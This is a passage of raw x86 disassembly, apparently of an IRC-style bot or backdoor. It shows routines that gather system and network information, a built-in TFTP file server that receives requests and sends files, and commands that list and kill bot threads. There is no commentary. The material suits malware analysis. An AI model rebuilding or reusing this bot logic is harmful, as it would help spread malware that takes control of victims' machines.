call dword_4170F8 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_4170F4 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_40D21A
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_403913
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A0F0
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_405752
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_403804
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_403804
pop ecx
pop ecx
push eax
call sub_40A143
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_40BDE7
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40A1F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4AD proc near ; CODE XREF: sub_406BAB+24C0p
; sub_406BAB+3030p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_40B630
add esp, 0Ch
cmp dword_42B4B0, 0
jnz short loc_40A521
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_42B2C0 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_40A502
lea eax, [ebp+var_8C]
push offset dword_41DA78
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_40A502: ; CODE XREF: sub_40A4AD+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_40A51A
push offset dword_41DA70
loc_40A510: ; CODE XREF: sub_40A4AD+72j
push eax
call sub_40B0B3
pop ecx
pop ecx
jmp short loc_40A540
; ---------------------------------------------------------------------------
loc_40A51A: ; CODE XREF: sub_40A4AD+5Cj
push offset dword_41DA6C
jmp short loc_40A510
; ---------------------------------------------------------------------------
loc_40A521: ; CODE XREF: sub_40A4AD+28j
mov esi, offset off_41DA68
lea eax, [ebp+var_8]
push esi
push eax
call sub_40B0B3
lea eax, [ebp+var_8C]
push esi
push eax
call sub_40B0B3
add esp, 10h
loc_40A540: ; CODE XREF: sub_40A4AD+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_405752
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_40BDE7
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40A4AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A573 proc near ; CODE XREF: sub_40A573:loc_40AA48p
; DATA XREF: sub_401141+104o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
movsw
xor ebx, ebx
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_42B450 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_40A636
push 190h
call dword_417040 ; Sleep
call dword_42B370 ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset unk_41DB1C
push eax
call sub_40B0B3
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_40A616
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
add esp, 14h
loc_40A616: ; CODE XREF: sub_40A573+7Ej
lea eax, [ebp+var_780]
push eax
call sub_403145
push [ebp+var_170]
call sub_40AD6A
pop ecx
pop ecx
push ebx
call dword_417050 ; ExitThread
loc_40A636: ; CODE XREF: sub_40A573+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_42CF6C[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_42B3D4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_42B400 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40A69B
push 1388h
call dword_417040 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_40AA48
; ---------------------------------------------------------------------------
loc_40A69B: ; CODE XREF: sub_40A573+10Dj
lea eax, [ebp+var_378]
push offset dword_41AD40
push eax
call sub_40C7B8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_40A719
push 190h
call dword_417040 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_41DAF4
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
lea eax, [ebp+var_780]
push eax
call sub_403145
push [ebp+var_170]
call sub_40AD6A
add esp, 28h
push ebx
call dword_417050 ; ExitThread
loc_40A719: ; CODE XREF: sub_40A573+140j
mov esi, 200h
loc_40A71E: ; CODE XREF: sub_40A573+48Fj
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_40AA08
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_42B3BC ; select
test eax, eax
jle loc_40A9FC
mov al, byte_422270
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_42B3AC ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_40B0B3
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_40A9E6
cmp [ebp+var_D7], 1
jnz loc_40A948
lea eax, [ebp+var_274]
push eax
call sub_40B5B0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_40B5B0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_40D450
add esp, 14h
test eax, eax
jnz loc_40A902
lea eax, [ebp+var_1C]
push eax
call sub_40B5B0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_40D450
add esp, 10h
test eax, eax
jnz loc_40A902
push ebx
push ebx
push [ebp+var_8]
call sub_40D488
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_40C410
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_42B434 ; sendto
loc_40A8A6: ; CODE XREF: sub_40A573+46Ej
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_780]
push offset dword_41DAD0
push eax
call sub_40B0B3
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_40A8F0
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
add esp, 14h
loc_40A8F0: ; CODE XREF: sub_40A573+358j
lea eax, [ebp+var_780]
push eax
call sub_403145
pop ecx
jmp loc_40A9FC
; ---------------------------------------------------------------------------
loc_40A902: ; CODE XREF: sub_40A573+2B6j
; sub_40A573+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_41DABC
push edi
call dword_42B434 ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_41DA94
push eax
call sub_40B0B3
lea eax, [ebp+var_D8]
push eax
call sub_403145
add esp, 14h
jmp loc_40A9FC
; ---------------------------------------------------------------------------
loc_40A948: ; CODE XREF: sub_40A573+275j
cmp [ebp+var_D7], 4
jnz loc_40A9E6
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_40A97F
inc al
xor cl, cl
mov [ebp+var_57D], bl
jmp short loc_40A987
; ---------------------------------------------------------------------------
loc_40A97F: ; CODE XREF: sub_40A573+3FEj
inc cl
mov [ebp+var_57D], cl
loc_40A987: ; CODE XREF: sub_40A573+40Aj
mov [ebp+var_57E], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_40D488
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_40C410
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_42B434 ; sendto
cmp edi, ebx
jnz short loc_40A9FC
jmp loc_40A8A6
; ---------------------------------------------------------------------------
loc_40A9E6: ; CODE XREF: sub_40A573+268j
; sub_40A573+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_41DA88
push edi
call dword_42B434 ; sendto
loc_40A9FC: ; CODE XREF: sub_40A573+204j
; sub_40A573+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_40A71E
loc_40AA08: ; CODE XREF: sub_40A573+1B4j
push edi
call dword_42B468 ; closesocket
push [ebp+var_8]
call sub_40C3BA
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40AA3C
push [ebp+var_170]
call sub_40AD6A
pop ecx
push ebx
call dword_417050 ; ExitThread
loc_40AA3C: ; CODE XREF: sub_40A573+4B4j
push 3E8h
call dword_417040 ; Sleep
push esi
loc_40AA48: ; CODE XREF: sub_40A573+123j
call sub_40A573
pop edi
pop esi
pop ebx
leave
retn 4
sub_40A573 endp
; =============== S U B R O U T I N E =======================================
sub_40AA54 proc near ; CODE XREF: sub_401141+EDp
; sub_401141+210p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_42CD60
loc_40AA5C: ; CODE XREF: sub_40AA54+18j
cmp byte ptr [eax], 0
jz short loc_40AA70
add eax, 234h
inc edi
cmp eax, offset dword_47F740
jl short loc_40AA5C
jmp short loc_40AABB
; ---------------------------------------------------------------------------
loc_40AA70: ; CODE XREF: sub_40AA54+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_42CD60[esi]
push eax
call sub_40B110
mov eax, [esp+14h+arg_4]
and dword_42CF64[esi], 0
and dword_42CF68[esi], 0
mov dword_42CF60[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_42CF78[esi], 0
mov dword_42CF6C[esi], eax
pop esi
loc_40AABB: ; CODE XREF: sub_40AA54+1Aj
mov eax, edi
pop edi
retn
sub_40AA54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AABF proc near ; DATA XREF: sub_406BAB+30FAo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40AB11
push [ebp+var_14]
call sub_40AD6A
add esp, 14h
push 0
call dword_417050 ; ExitThread
pop edi
pop esi
sub_40AABF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB11 proc near ; CODE XREF: sub_40AABF+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
xor edi, edi
mov esi, offset dword_42CD60
loc_40AB3B: ; CODE XREF: sub_40AB11+78j
cmp byte ptr [esi], 0
jz short loc_40AB7C
cmp [ebp+arg_C], 0
jnz short loc_40AB4F
cmp dword ptr [esi+204h], 0
jnz short loc_40AB7C
loc_40AB4F: ; CODE XREF: sub_40AB11+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_40B0B3
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 24h
loc_40AB7C: ; CODE XREF: sub_40AB11+2Dj
; sub_40AB11+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_47F740
jl short loc_40AB3B
pop edi
pop esi
leave
retn
sub_40AB11 endp
; =============== S U B R O U T I N E =======================================
sub_40AB8F proc near ; CODE XREF: sub_406BAB+2839p
; sub_40AC17+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40AC11
cmp esi, 258h
jge short loc_40AC11
imul esi, 234h
push edi
push ebx
lea edi, dword_42CF74[esi]
push dword ptr [edi]
call dword_417100 ; TerminateThread
cmp [edi], ebx
jz short loc_40ABC1
inc ebp
loc_40ABC1: ; CODE XREF: sub_40AB8F+2Fj
mov [edi], ebx
lea edi, dword_42CF68[esi]
mov dword_42CF60[esi], ebx
mov dword_42CF64[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40ABE2
push eax
call sub_405AA1
pop ecx
loc_40ABE2: ; CODE XREF: sub_40AB8F+4Aj
mov [edi], ebx
lea edi, dword_42CF6C[esi]
mov byte ptr dword_42CD60[esi], bl
mov byte_42CF78[esi], bl
push dword ptr [edi]
call dword_42B468 ; closesocket
lea esi, dword_42CF70[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_42B468 ; closesocket
mov [esi], ebx
pop edi
loc_40AC11: ; CODE XREF: sub_40AB8F+Dj
; sub_40AB8F+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40AB8F endp
; =============== S U B R O U T I N E =======================================
sub_40AC17 proc near ; CODE XREF: sub_403B83+18p
; sub_4054C7:loc_4054EBp ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_42CD60
loc_40AC23: ; CODE XREF: sub_40AC17+2Aj
cmp byte ptr [esi], 0
jz short loc_40AC34
push edi
call sub_40AB8F
test eax, eax
pop ecx
jz short loc_40AC34
inc ebx
loc_40AC34: ; CODE XREF: sub_40AC17+Fj
; sub_40AC17+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_47F740
jl short loc_40AC23
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AC17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC49 proc near ; CODE XREF: sub_40ACDC+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_42CF64
loc_40AC5D: ; CODE XREF: sub_40AC49+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40AC7F
test edi, edi
jle short loc_40AC71
cmp [esi], edi
jz short loc_40AC71
cmp ebx, edi
jnz short loc_40AC7F
loc_40AC71: ; CODE XREF: sub_40AC49+1Ej
; sub_40AC49+22j
push ebx
call sub_40AB8F
test eax, eax
pop ecx
jz short loc_40AC7F
inc [ebp+var_4]
loc_40AC7F: ; CODE XREF: sub_40AC49+1Aj
; sub_40AC49+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_47F944
jl short loc_40AC5D
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40AC49 endp
; =============== S U B R O U T I N E =======================================
sub_40AC96 proc near ; CODE XREF: sub_4010CA+Bp
; sub_401141+2Cp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_42CF60
loc_40AC9D: ; CODE XREF: sub_40AC96+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40ACA6
inc eax
loc_40ACA6: ; CODE XREF: sub_40AC96+Dj
add ecx, 234h
cmp ecx, offset dword_47F940
jl short loc_40AC9D
retn
sub_40AC96 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB5 proc near ; CODE XREF: sub_406BAB+2D40p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_42CF60
push esi
loc_40ACBF: ; CODE XREF: sub_40ACB5+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40ACD8
add ecx, 234h
inc edx
cmp ecx, offset dword_47F940
jl short loc_40ACBF
pop esi
retn
; ---------------------------------------------------------------------------
loc_40ACD8: ; CODE XREF: sub_40ACB5+10j
mov eax, edx
pop esi
retn
sub_40ACB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ACDC proc near ; CODE XREF: sub_406BAB+3278p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40ACF5
push [ebp+arg_1C]
call sub_40C3AF
pop ecx
loc_40ACF5: ; CODE XREF: sub_40ACDC+Ej
push eax
push [ebp+arg_18]
call sub_40AC49
pop ecx
test eax, eax
pop ecx
jle short loc_40AD21
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_40B0B3
add esp, 14h
jmp short loc_40AD3B
; ---------------------------------------------------------------------------
loc_40AD21: ; CODE XREF: sub_40ACDC+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_40B0B3
add esp, 10h
loc_40AD3B: ; CODE XREF: sub_40ACDC+43j
cmp [ebp+arg_C], 0
jnz short loc_40AD5B
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
loc_40AD5B: ; CODE XREF: sub_40ACDC+63j
lea eax, [ebp+var_200]
push eax
call sub_403145
pop ecx
leave
retn
sub_40ACDC endp
; =============== S U B R O U T I N E =======================================
sub_40AD6A proc near ; CODE XREF: sub_40154B+1ABp
; sub_401704+24Ap ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_42CF74[eax], ecx
mov dword_42CF60[eax], ecx
mov dword_42CF64[eax], ecx
mov dword_42CF68[eax], ecx
mov dword_42CF6C[eax], ecx
mov dword_42CF70[eax], ecx
mov byte ptr dword_42CD60[eax], cl
mov byte_42CF78[eax], cl
retn
sub_40AD6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADA7 proc near ; CODE XREF: sub_406BAB+3444p
; sub_40AECF+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40AE09
; ---------------------------------------------------------------------------
loc_40ADB3: ; CODE XREF: sub_40ADA7+66j
cmp eax, 1
jnz short loc_40AE1A
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40AE1A
cmp cl, 2Ah
jz short loc_40ADF2
cmp cl, 3Fh
jz short loc_40ADD7
cmp cl, 5Bh
jz short loc_40ADDC
xor eax, eax
cmp cl, dl
setz al
loc_40ADD7: ; CODE XREF: sub_40ADA7+22j
inc [ebp+arg_4]
jmp short loc_40AE05
; ---------------------------------------------------------------------------
loc_40ADDC: ; CODE XREF: sub_40ADA7+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40AE3B
mov esi, [ebp+arg_0]
jmp short loc_40AE03
; ---------------------------------------------------------------------------
loc_40ADF2: ; CODE XREF: sub_40ADA7+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40AECF
mov esi, [ebp+arg_0]
dec esi
loc_40AE03: ; CODE XREF: sub_40ADA7+49j
pop ecx
pop ecx
loc_40AE05: ; CODE XREF: sub_40ADA7+33j
inc esi
mov [ebp+arg_0], esi
loc_40AE09: ; CODE XREF: sub_40ADA7+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40ADB3
jmp short loc_40AE1A
; ---------------------------------------------------------------------------
loc_40AE11: ; CODE XREF: sub_40ADA7+76j
cmp eax, 1
jnz short loc_40AE36
inc esi
mov [ebp+arg_0], esi
loc_40AE1A: ; CODE XREF: sub_40ADA7+Fj
; sub_40ADA7+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40AE11
cmp eax, 1
jnz short loc_40AE36
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40AE36
cmp byte ptr [esi], 0
jnz short loc_40AE36
xor eax, eax
inc eax
jmp short loc_40AE38
; ---------------------------------------------------------------------------
loc_40AE36: ; CODE XREF: sub_40ADA7+6Dj
; sub_40ADA7+7Bj ...
xor eax, eax
loc_40AE38: ; CODE XREF: sub_40ADA7+8Dj
pop esi
pop ebp
retn
sub_40ADA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE3B proc near ; CODE XREF: sub_40ADA7+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40AE5C
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40AE5C: ; CODE XREF: sub_40AE3B+19j
push ebx
push esi
loc_40AE5E: ; CODE XREF: sub_40AE3B+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40AE6C
cmp [ebp+var_4], eax
jnz short loc_40AEB4
loc_40AE6C: ; CODE XREF: sub_40AE3B+2Aj
test edi, edi
jnz short loc_40AEA9
cmp bl, 2Dh
jnz short loc_40AE9D
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40AE9D
cmp al, 5Dh
jz short loc_40AE9D
cmp [ebp+var_4], edi
jnz short loc_40AE9D
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40AEA9
cmp bl, al
jg short loc_40AEA9
mov [edx], esi
jmp short loc_40AEA6
; ---------------------------------------------------------------------------
loc_40AE9D: ; CODE XREF: sub_40AE3B+38j
; sub_40AE3B+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40AEA9
loc_40AEA6: ; CODE XREF: sub_40AE3B+60j
xor edi, edi
inc edi
loc_40AEA9: ; CODE XREF: sub_40AE3B+33j
; sub_40AE3B+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40AE5E
; ---------------------------------------------------------------------------
loc_40AEB4: ; CODE XREF: sub_40AE3B+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40AEC1
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40AEC1: ; CODE XREF: sub_40AE3B+7Ej
cmp edi, eax
jnz short loc_40AECA
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40AECA: ; CODE XREF: sub_40AE3B+88j
mov eax, edi
pop edi
leave
retn
sub_40AE3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AECF proc near ; CODE XREF: sub_40ADA7+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40AEFF
; ---------------------------------------------------------------------------
loc_40AEE9: ; CODE XREF: sub_40AECF+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40AEFA
cmp dl, 2Ah
jnz short loc_40AF0C
cmp dl, 3Fh
jnz short loc_40AEFD
loc_40AEFA: ; CODE XREF: sub_40AECF+1Fj
inc ecx
mov [edi], ecx
loc_40AEFD: ; CODE XREF: sub_40AECF+29j
inc dword ptr [esi]
loc_40AEFF: ; CODE XREF: sub_40AECF+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40AEE9
jmp short loc_40AF0C
; ---------------------------------------------------------------------------
loc_40AF09: ; CODE XREF: sub_40AECF+40j
inc eax
mov [esi], eax
loc_40AF0C: ; CODE XREF: sub_40AECF+24j
; sub_40AECF+38j
cmp byte ptr [eax], 2Ah
jz short loc_40AF09
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40AF2E
cmp [eax], bl
jz short loc_40AF21
xor eax, eax
jmp short loc_40AF8B
; ---------------------------------------------------------------------------
loc_40AF21: ; CODE XREF: sub_40AECF+4Cj
cmp dl, bl
jnz short loc_40AF2E
cmp [eax], bl
jnz short loc_40AF2E
xor eax, eax
inc eax
jmp short loc_40AF8B
; ---------------------------------------------------------------------------
loc_40AF2E: ; CODE XREF: sub_40AECF+48j
; sub_40AECF+54j ...
push ecx
push eax
call sub_40ADA7
pop ecx
test eax, eax
pop ecx
jnz short loc_40AF75
loc_40AF3B: ; CODE XREF: sub_40AECF+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40AF4D
; ---------------------------------------------------------------------------
loc_40AF41: ; CODE XREF: sub_40AECF+86j
cmp cl, 5Bh
jz short loc_40AF57
cmp dl, bl
jz short loc_40AF57
inc eax
mov [edi], eax
loc_40AF4D: ; CODE XREF: sub_40AECF+70j
mov ecx, [esi]
mov dl, [eax]
